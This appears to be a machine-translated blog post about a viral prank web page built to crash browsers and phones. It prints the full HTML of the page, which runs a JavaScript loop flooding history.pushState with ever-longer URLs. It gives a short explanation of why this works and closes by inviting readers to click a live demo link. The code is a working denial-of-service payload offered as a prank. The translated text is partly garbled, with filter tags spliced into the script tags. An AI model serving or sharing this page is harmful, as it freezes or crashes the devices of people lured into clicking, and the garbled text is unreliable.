Причина інциденту така: іноземний друг з Cyber Security опублікував у Twitter такий твіт:
Цей хлопець стверджує, що якщо використати вище 12-рядковий код Javascrip{filter}t, можна вилетіти браузери Firefox, Chrome, Safari, а також перезавантажити iPhone і зламати Android!
Повний HTML-код виглядає так:
- <html>
- <head>
- <meta charset="utf-8">
- <title>谁点谁怀孕</title>
- </head>
- <body>
- 恭喜你,你已经怀孕了!
- <scrip{过滤}t>
- var total="";
- for (var i=0;i<1000000;i++)
- {
- total= total+i.toString();
- history.pushState(0,0,total);
- }
- </scrip{过滤}t>
- </body>
- </html>
Копія коду
Якщо ви користуєтеся ПК, після натискання на посилання пам'ять процесора, ймовірно, злетить аж до того моменту, поки браузер не зависне і не зависне...
Якщо ви користувач мобільних пристроїв (Android, iPhone), ваш браузер зависне після натискання на посилання! Натискання на посилання у Weibo та WeChat також може зависати.
Чому це відбувається? У цьому контексті я знайшов відповідь від бога на ім'я «Xiaomi» на Чжиху:
history.pushstate() — це API, введений HTML5, pushState додає задану URL-адресу до історії браузера та зберігає поточну точку історії. Коли i<100000, загальна сума зараховується в історії браузера циклічно, і якщо це повторюється занадто часто, браузер не витримає це і природно зазнає крашу.
Ну, в будь-якому разі, я навіть не можу вигадати «hello world», тож зовсім не розумію... Коротко кажучи, це саме так, щоб підірвати небо!
Якщо хочете спробувати, будь ласка, натисніть тут: http://www.itsvse.com/demo.html
|